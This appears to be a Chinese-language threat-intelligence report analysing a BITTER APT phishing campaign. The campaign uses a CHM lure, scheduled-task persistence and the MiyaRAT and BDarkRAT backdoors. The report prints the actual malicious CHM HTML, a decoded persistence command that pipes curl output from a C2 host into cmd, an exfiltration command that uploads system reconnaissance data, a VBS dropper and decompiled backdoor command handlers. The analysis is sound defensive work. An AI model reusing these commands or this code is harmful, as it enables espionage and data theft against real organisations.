概述
2025年6月,瑞星安全研究团队接收并分析了来自国内某政府单位提交的可疑邮件附件样本。经过深度技术分析和威胁情报关联,确认该攻击活动的技术特征、战术技法(TTP)以及基础设施指纹与已知的高级持续性威胁(APT)组织"蔓灵花"(BITTER)高度匹配。
此次攻击遵循了蔓灵花组织的典型攻击模式:攻击者通过精心设计的鱼叉式网络钓鱼邮件作为初始攻击向量,投递包含恶意编译HTML帮助文件(CHM)的压缩包载荷。该CHM文件内嵌恶意HTML文档,利用点击劫持(Clickjacking)技术绕过用户交互检测,实现代码的自动化执行。当目标用户在受信任环境下打开该文件时,嵌入式JavaScript脚本会被立即触发执行。
恶意脚本的核心功能是建立持久化机制:通过调用Windows任务计划程序(Task Scheduler)创建定时任务,实现在受害主机上的长期驻留。该计划任务被配置为每16分钟向预设的命令与控制(C2)服务器发起HTTP请求,以接收远程指令并通过命令行管道机制执行,从而建立起完整的远程控制通道。
蔓灵花组织是一个具有明确地缘政治动机的高级持续性威胁行为体,据开源情报分析疑似起源于南亚地区。该组织自2013年首次被安全研究人员识别以来,持续保持高度活跃状态,其攻击目标主要集中在中国、巴基斯坦等地区的战略性目标,包括政府机构、军事部门、能源基础设施以及其他关键信息基础设施。从攻击目标选择和数据窃取偏好来看,该组织的攻击活动具有明显的国家支持背景和情报收集目的,其最终目标是通过网络间谍活动获取目标国家和机构的敏感信息、机密文档以及战略情报数据。
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 -初始访问 |
T1566 -网络钓鱼 |
向目标用户投递钓鱼邮件 |
TA0002 -执行 |
T1204 -用户执行 |
诱骗用户执行恶意附件 |
TA0002 -执行 |
T1053 -计划任务/作业 |
创建计划任务定时请求C2获取后续有效载荷 |
TA0002 -执行 |
T1059 -命令和脚本解释器 |
请求C2获取指令通过管道传递给CMD执行 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
恶意CHM文件创建计划任务实现持久化 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
CHM文件内脚本经过混淆,HTML页面内容均经过HTML实体 编码 |
TA0005 -防御规避 |
T1140 -去混淆或解密文件和信息 |
MiyaRAT 、BDarkRAT 内置C2域名在执行时会进行解密 |
TA0005 -防御规避 |
T1480 -选择性攻击 |
攻击者会针对不同的受害者投递不同的指令 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
攻击者下发指令获取系统信息和安全软件安装信息回传服务器 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
BDarkRAT 可以根据指令回传用户名、计算机名、系统版本、当前程序路径等信息 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
攻击者下发指令获取下载目录和桌面目录信息回传服务器 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
BDarkRAT 根据指令可以获取指定目录文件和子文件夹信息回传服务器 |
TA0009 -收集信息 |
T1005 -来自本地系统的数据 |
MiyaRAT 可以采集特定的数据并将数据回传服务器 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
MiyaRAT 、BDarkRAT 可以回传截屏数据至服务器 |
TA0011 -指挥与控制 |
T1105 -文件传输工具 |
MiyaRAT 可以从服务器或者指定的URL获取文件 |
TA0011 -指挥与控制 |
T1095 -非应用层协议 |
MiyaRAT 、BDarkRAT 使用TCP协议与服务器通信 |
TA0011 -指挥与控制 |
T1132 -数据编码 |
MiyaRAT 可以将获取的数据加密回传服务器 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
MiyaRAT 、BDarkRAT 使用C2通道回传采集的文件数据 |
事件详情
基于收到的邮件附件命名规律mail.mnr.gov.cn202501104759.xls.chm
分析,此次攻击活动极有可能是针对中华人民共和国自然资源部
的定向网络攻击。攻击者采用社会工程学手段,诱使目标用户打开伪装成Excel工作表文档的恶意CHM
(编译HTML帮助)文件。
经深度静态分析发现,该CHM
文件内嵌了名为Mischivious.htm
的恶意HTML
文档。当目标用户在受信任的操作环境中打开该文档时,内嵌的混淆JavaScript脚本会被立即触发执行。该恶意脚本的核心功能是在受害主机上建立持久化控制机制:通过调用Windows任务计划程序创建名为WindowsDefenderVerification
的计划任务,配置为每隔16分钟向预设的命令与控制(C2)服务器发起HTTP请求,并通过命令行管道机制将接收到的远程指令传递给cmd.exe
执行,从而实现对受害主机的远程控制。
在持续的网络流量监测和动态行为分析过程中,我们成功捕获并解析了攻击者在不同时间段投放的多种类型指令载荷:
监测时间 | 指令载荷功能描述 |
---|---|
2025.06.30 | 执行系统信息收集和环境侦察操作(详细分析见后文) |
2025.07.01 | 从指定URL下载MSI 安装包并静默执行部署 |
2025.07.02 | 重复执行2025.07.01的载荷投放操作 |
2025.07.06 | 投放新的MSI 安装包载荷并执行部署 |
2025.07.09 | 重复执行2025.07.06的载荷投放操作 |
2025.07.10 | 持续执行2025.07.06的载荷投放操作 |
攻击流程
此次BITTER组织的攻击活动采用了典型的多阶段攻击链模式,整个攻击流程可划分为六个关键阶段:
-
初始投递阶段:攻击者通过精心构造的鱼叉式钓鱼邮件向目标用户投递恶意附件,邮件内容经过社会工程学设计,具有较强的迷惑性;
-
载荷激活阶段:受害者解压邮件附件并双击运行伪装成Excel工作表文档的恶意CHM文件,触发内嵌的混淆JavaScript脚本自动执行;
-
持久化建立阶段:恶意脚本通过调用Windows任务计划程序创建名为
WindowsDefenderVerification
的计划任务,实现在受害主机上的持久化驻留机制; -
命令控制通信阶段:计划任务每隔16分钟自动向预设的C2服务器
pindinservices.com
发起HTTP请求,建立稳定的命令与控制通道; -
载荷下发阶段:C2服务器根据受害环境和攻击目标,有选择性地向不同受害者下发相应的恶意指令或MSI安装包载荷;
-
功能执行阶段:下载部署的后门程序(MiyaRAT/BDarkRAT)接收并执行C2指令,完成信息收集、文件窃取、屏幕截图等恶意功能。
整个攻击链条环环相扣,体现了BITTER组织在攻击策略设计和技术实施方面的成熟度,通过合法系统组件的巧妙利用实现了高度隐蔽的攻击效果。
样本分析
CHM钓鱼文件分析
字段 | 内容 |
---|---|
原始文件名 | mail.mnr.gov.cn202501104759.xls.chm |
文件大小 | 796KB |
文件MD5 | 6f85990541d45f92df2eeac0e6cd9e13 |
文件类型 | CHM文档 |
病毒名 | Trojan.MouseJack/HTML!1.BE26 |
主要功能 | 创建计划任务 |
<OBJECT id=pinion classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=0 height=0>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",conhost, --headless cmd /c schtasks.exe /create /tn WindowsDefenderVerification /f /sc minute /mo 16 /tr "conhost --headless C:\Microsoft\Office\2017\..\..\..\Windows\system32\cmd.exe /v:on /c set NJIY=ht&set BIYT=tps:&set ERFD=//www.pindinse&set XCER=rvices.co&set FIDRE=!NJIY!!BIYT!!ERFD!!XCER!m& curl !FIDRE!/koteg.php?uic=%computername:~0,15%|cmd" &msg * 0x32AB43C: Corrupt File.">
<PARAM name="Item3" value="273,1,1">
</OBJECT>
<SCRIPT>
function _0x2a26(){var _0x3a497c=['10bLBgsx','22129csZGvv','168208PLNOmn','1147473MTUtov','325244TVKRFF','6MFHwRY','29946JgSvHu','1582028iReubv','1354096UXSNNP'];_0x2a26=function(){return _0x3a497c;};return _0x2a26();}function _0x54aa(_0x66dc07,_0x3ad510){var _0x2a269b=_0x2a26();return _0x54aa=function(_0x54aae7,_0x1b0a27){_0x54aae7=_0x54aae7-0xa0;var _0x8277a3=_0x2a269b[_0x54aae7];return _0x8277a3;},_0x54aa(_0x66dc07,_0x3ad510);}(function(_0x1719e8,_0x27a6a3){var _0x15dc0d=_0x54aa,_0x245f83=_0x1719e8();while(!![]){try{var _0x4dd8c1=-parseInt(_0x15dc0d(0xa4))/0x1+parseInt(_0x15dc0d(0xa7))/0x2+-parseInt(_0x15dc0d(0xa8))/0x3*(-parseInt(_0x15dc0d(0xa5))/0x4)+parseInt(_0x15dc0d(0xa3))/0x5*(parseInt(_0x15dc0d(0xa0))/0x6)+parseInt(_0x15dc0d(0xa1))/0x7+-parseInt(_0x15dc0d(0xa2))/0x8+-parseInt(_0x15dc0d(0xa6))/0x9;if(_0x4dd8c1===_0x27a6a3)break;else _0x245f83['push'](_0x245f83['shift']());}catch(_0x156306){_0x245f83['push'](_0x245f83['shift']());}}}(_0x2a26,0x27ff0),pinion['Click']());</SCRIPT>
当用户双击CHM文件时,系统自动调用hh.exe
(HTML Help Executable)进程来渲染内部的HTML文档内容。该恶意文档采用点击劫持
(Clickjacking)技术,通过混淆的JavaScript脚本自动触发id为pinion
的ActiveX对象点击事件。脚本代码经过obfuscate.io
工具进行深度混淆处理,以规避静态代码分析。当点击事件被触发后,该ActiveX对象的Item1
参数中预置的恶意载荷将作为系统命令被直接执行。为进一步逃避安全防护软件的特征检测,攻击者对所有关键数据均采用了HTML实体编码
(HTML Entity Encoding)进行混淆处理,待执行的命令经过解码还原后的具体内容如下:
conhost --headless cmd /c schtasks.exe /create /tn WindowsDefenderVerification /f /sc minute /mo 16 /tr "conhost --headless C:\Microsoft\Office\2017\..\..\..\Windows\system32\cmd.exe /v:on /c set NJIY=ht&set BIYT=tps:&set ERFD=//www.pindinse&set XCER=rvices.co&set FIDRE=!NJIY!!BIYT!!ERFD!!XCER!m& curl !FIDRE!/koteg.php?uic=%computername:~0,15%|cmd" &msg * 0x32AB43C: Corrupt File.
该恶意命令采用多重技术手段实现攻击目标:首先通过schtasks.exe
创建名为WindowsDefenderVerification
的计划任务,巧妙地模仿Windows Defender的正常验证过程以降低用户警觉性。该任务被配置为每16分钟执行一次,确保了持久化控制的时效性和稳定性。任务执行完成后,系统会调用msg
命令弹出"Corrupt File"的虚假错误信息,通过社会工程学手段误导用户认为这是正常的系统故障,从而掩盖恶意活动的真实意图。
在计划任务的实际执行过程中,攻击者采用了环境变量分割拼接技术来规避基于静态特征的安全检测:通过连续的set
命令将完整的C2服务器URL分解为多个片段(NJIY=ht、BIYT=tps:、ERFD=//www.pindinse、XCER=rvices.co),随后利用Windows批处理的变量展开机制(!变量名!)重新组合成完整的请求地址https://www.pindinservices.com
。接着调用系统内置的curl
工具向/koteg.php?uic={计算机名前15字符}
端点发起HTTP请求,获取远程控制指令,并通过管道操作符(|)将服务器响应直接传递给cmd.exe
解释执行。
值得特别关注的是,该攻击严格依赖于Windows 10版本1803及更高版本中内置的curl
组件,这一技术约束使得攻击的有效性仅限于较新的Windows系统环境。攻击者通过这种"Living off the Land"(利用系统原生工具)的策略,巧妙规避了对第三方工具的依赖,同时显著降低了被安全软件检测的风险,实现了高度隐蔽的命令执行通道和持久化控制机制。
2025.06.30投放的恶意指令
在2025年6月30日的持续监测过程中,我们成功捕获并解析了攻击者通过C2服务器主动下发的系统侦察指令:
(wmic logicaldisk get caption & wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName & systeminfo & dir "%USERPROFILE%\Downloads" & dir "%USERPROFILE%\Desktop") > C:\ProgramData\jit.dpc && curl -X POST -F "file=@C:\ProgramData\jit.dpc" http://www.pindinservices.com/koteg12.php?uic=%computername%**%username%
该指令采用复合命令结构,实现了全面的系统环境侦察和数据窃取功能:
-
系统环境信息收集:通过
wmic logicaldisk get caption
获取磁盘驱动器信息,使用wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
枚举已安装的安全防护软件,执行systeminfo
命令收集详细的系统配置信息; -
敏感目录文件枚举:对用户桌面目录(
%USERPROFILE%\Desktop
)和下载目录(%USERPROFILE%\Downloads
)进行文件列表收集,这些位置通常包含用户的重要文档和下载文件; -
数据汇总与外传:将所有收集到的信息通过输出重定向操作符(
>
)统一写入临时文件C:\ProgramData\jit.dpc
,随后利用curl
的POST方法将该文件作为表单数据上传至C2服务器端点/koteg12.php
,同时在URL参数中携带受害主机的计算机名和用户名信息,为攻击者提供受害环境的身份标识。
此指令体现了BITTER组织在攻击初期进行环境侦察的标准作业程序,通过系统化的信息收集为后续的定向攻击提供决策依据。
2025.07.01投放的MSI安装包
字段 | 内容 |
---|---|
原始文件名 | blugi.msi |
文件大小 | 650KB |
文件MD5 | dc1d4ce18451945cfd8b5a4092f4e458 |
文件类型 | MSI安装包 |
病毒名 | Backdoor.[Bitter]MiyaRat!1.12ED3 |
主要功能 | 部署MiyaRAT后门程序 |
MSI
文件是微软Windows Installer技术定义的标准化安装程序包格式,由Windows Installer
服务负责解析和执行安装操作。在此次攻击事件中,攻击者精心构造了一个恶意MSI安装包,其内部包含一个名为_1972055E_B378_45DC_AB78_0802F1CB307A
的自定义操作(Custom Action)。该自定义操作在安装过程中被触发执行后,会调用包内嵌入的名为_D5E613F5C375F4A4C3A64235062455BE
的二进制文件。经深度静态分析确认,该二进制文件实际上是MiyaRAT
远程访问木马,构成此次攻击活动的最终有效载荷。
攻击者采用这种基于MSI安装包的载荷投递策略具有显著的技术优势:首先,MSI格式作为Windows系统的标准安装机制,具有天然的系统信任度,能够有效降低安全软件的警觉性;其次,通过将恶意载荷封装在自定义操作中,攻击者巧妙利用了Windows Installer服务的合法功能来执行恶意代码,实现了"Living off the Land"的攻击策略;最后,这种部署方式能够绕过大多数基于文件特征的静态检测机制,显著提高了攻击的成功率和隐蔽性。
释放出的MiyaRAT
字段 | 内容 |
---|---|
文件大小 | 592KB |
文件MD5 | 0f10f3894d6ec1e9e74ee0506fe1a690 |
文件类型 | PE_EXE |
病毒名 | Backdoor.[Bitter]MiyaRat!1.12ED3 |
主要功能 | 接收服务器指令并执行、回传数据 |
蔓灵花
组织的MiyaRAT
于2024年被首次披露,此次捕获的版本与之前公开版本在核心功能架构上保持一致,但在指令编码机制和通信协议方面有所演进,表明该组织持续对其攻击工具进行迭代优化。
恶意程序启动后,首先通过内置解密算法还原C2服务器通信配置,获取目标控制域名northernbarnhouse.com
和通信端口50699
。
成功建立与C2服务器的TCP连接后,MiyaRAT
立即执行系统环境指纹采集,通过Windows API调用获取当前用户名、计算机名称、程序运行路径、%USERPROFILE%
环境变量值、磁盘分区信息以及操作系统版本信息。随后将收集到的各项系统信息使用管道符(|
)进行字段分隔拼接,并在数据末尾附加木马版本标识,构成标准化的受害主机指纹数据包,具体数据格式如下所示:
为确保通信数据的传输安全性和规避网络监测,MiyaRAT
对拼接完成的系统指纹信息采用单字节XOR加密算法进行处理,使用固定密钥0x4C
对数据进行逐字节异或运算,随后将加密后的数据通过建立的TCP通道传输至C2服务器进行受害主机注册。
随后循环接收攻击者指令并执行。样本支持的远控指令整理如下表:
指令 | 功能 |
---|---|
G%81 | 回传指定目录信息 |
D*j$ | 删除文件 |
G&^ | 递归枚举指定目录所有文件信息,回传到C2 |
S&*st_c | 创建cmd 进程并开启管道等候命令 |
S&*st_p | 创建powershell 进程并开启管道等候命令 |
S%$ | 上传、下载文件 (U461 上传 、D5F7 下载) |
S&* | 传递命令到管道并执行 |
S&( | 传递命令到管道并执行(该指令在程序运行过程中只能使用一次) |
G%$ | 截屏 |
S&*exit_ | 退出 |
攻击者指令采用单字节XOR加密算法进行传输保护,使用固定密钥0x4C
对所有通信数据进行加密处理。接收端在获取加密指令后,首先执行解密操作以还原原始指令内容。虽然这种加密方式相对简单,但能够有效规避基于静态特征码的安全检测机制。值得注意的是,所有回传至C2服务器的信息均经过相同的加密处理,确保了通信过程的数据保密性。以下对MiyaRAT
支持的各项远程控制指令功能进行详细技术分析:
指令解密过程使用固定密钥0x4C
进行XOR运算:
G%81
指令:实现目录文件枚举功能,类似于Windows系统内置的DIR命令。该指令用于获取指定目录下的文件和子目录详细信息,包括文件名、大小、属性等元数据。收集完成后,将所有获取的目录信息进行XOR加密处理,随后通过已建立的TCP通道回传至C2服务器,为攻击者提供目标系统的文件系统结构情报。用于获取目录下的文件和文件夹信息,将获取到信息加密然后回传到C2服务器。
if ( cmd_len == 4 )
{
G%81 = L"G%81";
do
{
if ( *(_WORD *)_RCX_2 != *G%81 )
goto LABEL_244;
_RCX_2 = (void **)((char *)_RCX_2 + 2);
++G%81;
--n4_4;
}
while ( n4_4 ); // 比较后门指令
result_1 = 1;
}
else
{
LABEL_244:
result_1 = 0;
}
if ( n7_15 > 7 )
{
if ( 2 * n7_15 + 2 >= 0x1000 )
{
v117 = (void *)*((_QWORD *)_RCX[0] - 1);
if ( (unsigned __int64)(_RCX[0] - v117 - 8) > 0x1F )
LABEL_454:
invalid_parameter_noinfo_noreturn();
}
j_j_free(v117);
}
if ( result_1 ) // 指令比较结果 相等则进入相应指令功能函数
{
n7_16 = n7[0] - 6;
*(_OWORD *)wide_env_variable = 0i64;
v250 = 0ui64;
if ( n7[0] < 4 )
unknown_libname_7();
if ( n7[0] - 4 < n7_16 )
n7_16 = n7[0] - 4;
i_6 = i_3;
if ( n7[1] > 7 )
i_6 = (LPCWCH *)i_3[0];
sub_140019650(wide_env_variable, (__int64)(i_6 + 1), n7_16);
v1 = v115 | 0x40;
cmd_dir(wide_env_variable, v123, v124);// 枚举目录信息 回传数据以[Ee9]~!@ 结尾
D*j$
指令:删除指定文件。
if ( n4_3 == 4 )
{
D_j$ = L"D*j$"; // 删除文件
do
{
if ( *(_WORD *)_RCX_8 != *D_j$ )
goto LABEL_271;
_RCX_8 = (void **)((char *)_RCX_8 + 2);
++D_j$;
--n4_5;
}
while ( n4_5 );
result_2 = 1;
}
else
{
LABEL_271:
result_2 = 0;
}
if ( n7_17 > 7 )
{
if ( 2 * n7_17 + 2 >= 0x1000 )
{
v130 = (void *)*((_QWORD *)_RCX_7[0] - 1);
if ( (unsigned __int64)(_RCX_7[0] - v130 - 8) > 0x1F )
goto LABEL_454;
}
j_j_free(v130);
}
if ( result_2 )
{
n7_18 = n7[0] - 6;
_RCX_1 = 0i64;
v240 = 0ui64;
if ( n7[0] < 4 )
unknown_libname_7();
if ( n7[0] - 4 < n7_18 )
n7_18 = n7[0] - 4;
i_8 = i_3;
if ( n7[1] > 7 )
i_8 = (LPCWCH *)i_3[0];
sub_140019650(&_RCX_1, (__int64)(i_8 + 1), n7_18);
v1 = v128 | 0x80;
filename = &_RCX_1;
if ( *((_QWORD *)&v240 + 1) > 7ui64 )
filename = (__m128i *)_RCX_1.m128i_i64[0];
Go_DeleteFileW((const WCHAR *)filename);// 功能函数
G&^
指令:递归枚举指定目录的所有文件信息,包括每个文件的路径和大小。将收集到的文件信息经过格式化处理后加密发送到C2服务器。
if ( command_len == 3 )
{
G&_ = L"G&^"; // 递归遍历指定目录下的所有文件信息 ,加密后回传C2服务器
do
{
if ( *(_WORD *)_RCX_10 != *G&_ )
goto LABEL_300;
_RCX_10 = (void **)((char *)_RCX_10 + 2);
++G&_;
--n3_4;
}
while ( n3_4 );
result_3 = 1;
}
else
{
LABEL_300:
result_3 = 0;
}
if ( n7_19 > 7 )
{
if ( 2 * n7_19 + 2 >= 0x1000 )
{
v142 = (void *)*((_QWORD *)_RCX_9[0] - 1);
if ( (unsigned __int64)(_RCX_9[0] - v142 - 8) > 0x1F )
goto LABEL_454;
}
j_j_free(v142);
}
if ( result_3 )
{
v242 = 0i64;
n7_20 = n7[0] - 5;
*(_OWORD *)wide_env_variable = 0i64;
v250 = 0ui64;
if ( n7[0] < 3 )
unknown_libname_7();
if ( n7[0] - 3 < n7_20 )
n7_20 = n7[0] - 3;
i_10 = i_3;
if ( n7[1] > 7 )
i_10 = (LPCWCH *)i_3[0];
sub_140019650(wide_env_variable, (__int64)i_10 + 6, n7_20);
v1 = v140 | 0x400;
Get_path__allmessage((__int64)&v242, v148, v149, (__int64)wide_env_variable);// 回传信息以@@G$$= 开头 =@@G$$ 结尾
S&*st_c
和S&*st_p
指令:用于启动cmd、powershell,执行管道中的命令,并将执行结果回传给C2服务器。
if ( n7_23 == 7 )
{
S&_st_c = L"S&*st_c"; // 创建cmd进程,执行管道传入的指令,回传结果到C2 同一C2地址
do
{
if ( *(_WORD *)_RCX_12 != *S&_st_c )
goto LABEL_332;
_RCX_12 = (void **)((char *)_RCX_12 + 2);
++S&_st_c;
--n7_28;
}
while ( n7_28 );
result_4 = 1;
}
else
{
LABEL_332:
result_4 = 0;
}
if ( n7_22 > 7 )
{
if ( 2 * n7_22 + 2 >= 0x1000 )
{
v156 = (void *)*((_QWORD *)_RCX_11[0] - 1);
if ( (unsigned __int64)(_RCX_11[0] - v156 - 8) > 0x1F )
goto LABEL_454;
}
j_j_free(v156);
}
if ( result_4 )
{
_Hnd_3 = operator new(0x18ui64);
*(_DWORD *)_Hnd_3 = 1;
_Hnd_3[1] = s;
_Hnd_3[2] = Create_cmd_pipe_send;// 创建管道,解密要创建的进程对应程序路径
S%$
指令:用于文件的上传、下载。二级指令U461
用于上传文件,D5F7
指令用于下载文件。
v185 = (char *)ret_command_str(i_3, &_RCX__2, 0i64, 3ui64);
v2 = cmp_conmmand_str(v185, (char *)L"S%$");// 上传、下载文件
sub_140012820((__int64)&_RCX__2);
if ( v2 )
{
ret_command_str(i_3, &_RCX__2, 3ui64, 5ui64);
buf_3 = operator new(saturated_mul(*(_QWORD *)nNumberOfBytesToWrite + 1i64, 2ui64));
v242._Hnd = buf_3;
Source = (const wchar_t *)sub_140012780(&_RCX__2);
wcscpy_s((wchar_t *)buf_3, *(_QWORD *)nNumberOfBytesToWrite + 1i64, Source);
up_and_down_file((__int64)&v271, v189, &nodename, &v242);// U461 上传 、D5F7 下载
S&*
和S&(
指令:将接收到的指令写入到管道中。
if ( n3_3 == 3 )
{
S&_ = L"S&*";
do
{
if ( *(_WORD *)_RCX_16 != *S&_ )
goto LABEL_376;
_RCX_16 = (void **)((char *)_RCX_16 + 2);
++S&_;
--count;
}
while ( count ); // 指令相等
result_6 = 1;
}
else
{
LABEL_376:
result_6 = 0; // 指令不等
}
if ( n7_27 > 7 )
{
if ( 2 * n7_27 + 2 >= 0x1000 )
{
v173 = (void *)*((_QWORD *)_RCX_15[0] - 1);
if ( (unsigned __int64)(_RCX_15[0] - v173 - 8) > 0x1F )
goto LABEL_454;
}
j_j_free(v173);
}
if ( result_6 )
{
lpWideCharStr_3 = (const WCHAR *)i_3;
if ( n7[1] > 7 )
lpWideCharStr_3 = i_3[0];
cbMultiByte_3 = WideCharToMultiByte(0xFDE9u, 0, lpWideCharStr_3, -1, 0i64, 0, 0i64, 0i64);
cbMultiByte_1 = cbMultiByte_3;
if ( cbMultiByte_3 )
{
sub_140012C00((__int64)buf, cbMultiByte_3, 0);
buf_4 = (CHAR *)buf;
if ( *(_QWORD *)&len[2] > 0xFui64 )
buf_4 = buf[0];
lpWideCharStr_4 = (const WCHAR *)i_3;
if ( n7[1] > 7 )
lpWideCharStr_4 = i_3[0];
WideCharToMultiByte(0xFDE9u, 0, lpWideCharStr_4, -1, buf_4, cbMultiByte_1, 0i64, 0i64);
_RCX_1 = *(__m128i *)buf;
v240 = *(_OWORD *)len;
}
else
{
_RCX_1 = 0i64;
v240 = 0ui64;
sub_140019990(&_RCX_1, &RDX_, 0i64);
}
v1 |= 0x40000000u;
_RCX_4 = sub_140012A60(_RCX_1.m128i_i64, &_RCX__2);
nNumberOfBytesToWrite_1 = C2_northernbarnhouse_com__PORT_50699 - 3;
lpBuffer_2 = sub_140012AD0(_RCX_4);
WriteFile(PIP_hFile, lpBuffer_2, nNumberOfBytesToWrite_1, &NumberOfBytesWritten, 0i64);
197 = (char *)ret_command_str(i_3, &_RCX__2, 0i64, 3ui64);
198 = cmp_conmmand_str(v197, (char *)L"S&(");
ub_140012820((__int64)&_RCX__2);
f ( v198 )
if ( !byte_140090B3C )// 该指令程序运行期间仅执行一次
{
byte_140090B3C = 1;
Sleep(5u);
sub_140012D10(&_RCX__2, &RDX__6);
lpBuffer_3 = sub_140012AD0(&_RCX__2);
WriteFile(PIP_hFile, lpBuffer_3, nNumberOfBytesToWrite[0], &lpNumberOfBytesWritten_, 0i64);
free_0(&_RCX__2);
}
sub_140012D10(&_RCX_, &recv_buf_3);
_RCX_3 = sub_140012A60(_RCX_.m128i_i64, &_RCX__2);
nNumberOfBytesToWrite_2 = C2_northernbarnhouse_com__PORT_50699 - 3;
lpBuffer_4 = sub_140012AD0(_RCX_3);
WriteFile(PIP_hFile, lpBuffer_4, nNumberOfBytesToWrite_2, &lpNumberOfBytesWritten_, 0i64);
G%$
指令:实现屏幕截图、默认创建分辨率1920*1080的兼容位图,支持动态调整图像尺寸,传输分两个阶段,先发送12字节的元数据,随后发送完整的图像数据。
v190 = (char *)ret_command_str(i_3, &_RCX__2, 0i64, 3ui64);
result_screenshot = cmp_conmmand_str(v190, (char *)L"G%$");// 截屏
sub_140012820((__int64)&_RCX__2);
if ( result_screenshot )
{
n5 = 5;
if ( n7[0] > 4 )
{
v194 = ret_command_str(i_3, &_RCX__2, 3ui64, 4ui64);
n5 = sub_140002C70(v194);
sub_140012820((__int64)&_RCX__2);
}
screenshot(v192, n5); // 屏幕截图函数
S&*exit_
指令:结束当前后门程序。
v195 = (char *)ret_command_str(i_3, &_RCX__2, 0i64, 9ui64);
result_exit = cmp_conmmand_str(v195, (char *)L"S&*exit_");// 退出
sub_140012820((__int64)&_RCX__2);
if ( result_exit )
exit(0);
2025.07.06投放的MSI安装包
字段 | 内容 |
---|---|
原始文件名 | winsec.msi |
文件大小 | 516KB |
文件MD5 | 47f9d3f744a0d314ab4f7c29735549a4 |
文件类型 | MSI安装包 |
病毒名 | Backdoor.[Bitter]Agent!1.10493 |
主要功能 | 部署BDarkRAT后门程序 |
该MSI安装包作为攻击者投放的第二阶段有效载荷,采用了多层文件释放和重命名的部署策略以增强隐蔽性。执行安装过程中,该恶意安装包首先将script.vbs
脚本文件和winsec2.exe
可执行文件释放至系统公共目录C:\Users\Public\Pictures\
,该目录通常被认为是系统合法的用户共享空间,能够有效规避基于路径特征的安全检测。随后,MSI安装程序自动调用释放的VBS脚本,该脚本通过文件系统对象(FileSystemObject)将winsec2.exe
重命名为winsec.exe
,并利用Windows脚本宿主(WScript.Shell)对象启动重命名后的恶意可执行文件。这种间接执行机制不仅增加了分析难度,还能够绕过某些基于文件名特征的检测规则。
VBS脚本的具体实现代码如下所示:
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CopyFile "C:\Users\Public\Pictures\winsec2.exe", "C:\Users\Public\Pictures\winsec.exe"
objShell.Run("""C:\Users\Public\Pictures\winsec.exe""")
该脚本实现了标准化的文件操作和进程启动流程:首先创建WScript.Shell和FileSystemObject两个COM对象实例,随后通过CopyFile方法将原始可执行文件复制并重命名,最后调用Run方法启动BDarkRAT
后门程序。这种基于VBS脚本的中间层部署方式体现了BITTER
组织在规避检测方面的技术演进,通过合法系统组件的串联使用实现了高度隐蔽的恶意载荷部署。
释放的BDarkRAT
字段 | 内容 |
---|---|
原始文件名 | winsec.exe |
文件大小 | 43KB |
文件MD5 | 37c9166dd4a4a58a11a0c69e62a35b58 |
文件类型 | PE_EXE |
病毒名 | Backdoor.[Bitter]Agent!1.10493 |
主要功能 | 接收服务器指令并执行、回传数据 |
BDarkRAT
是一款基于.NET框架的远程访问木马(RAT),自2019年被首次发现以来,一直由BITTER
组织持续维护和使用。最新捕获的样本显示,相较于先前公开披露的版本,该RAT在功能实现和代码结构上均有所优化,表明BITTER
组织仍在积极开发和更新其网络武器库,这种持续演进的能力进一步凸显了该组织在网络攻击活动中的技术投入和威胁持续性。
恶意程序启动后,首先初始化其远程控制框架,通过注册大量的功能消息类来实现模块化的后门功能架构。这种基于消息处理器的设计模式使得攻击者能够灵活地扩展和定制恶意功能,同时提高了代码的可维护性和隐蔽性。每个消息类都对应特定的远程控制指令,形成了完整的命令执行体系,为攻击者提供了全方位的系统控制能力。
public static void Activate()
{
vfghfgjgkiygkjhkhjgkllprocessor.messageList = new SortedList<short, vfghfgjgkiygkjhkhjgkllprocessor.MessageType>();
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("1", 1, typeof(drawon_Drives)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("2", 2, typeof(drawon_bvnghkjkglf)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("3", 3, typeof(drawon_filechangebegin)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("4", 4, typeof(drawon_changeSend)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("5", 5, typeof(drawon_changeend)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("6", 6, typeof(drawon_facts)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("7", 7, typeof(drawon_startcommand)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("8", 8, typeof(drawon_Shell)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("9", 9, typeof(drawon_Stopcmd)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("10", 16, typeof(drawon_RefreshClient)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("11", 17, typeof(drawon_changestart)));
vfghfgjgkiygkjhkhjgkllprocessor.registerMessage(new vfghfgjgkiygkjhkhjgkllprocessor.MessageType("12", 18, typeof(drawon_copyme)));
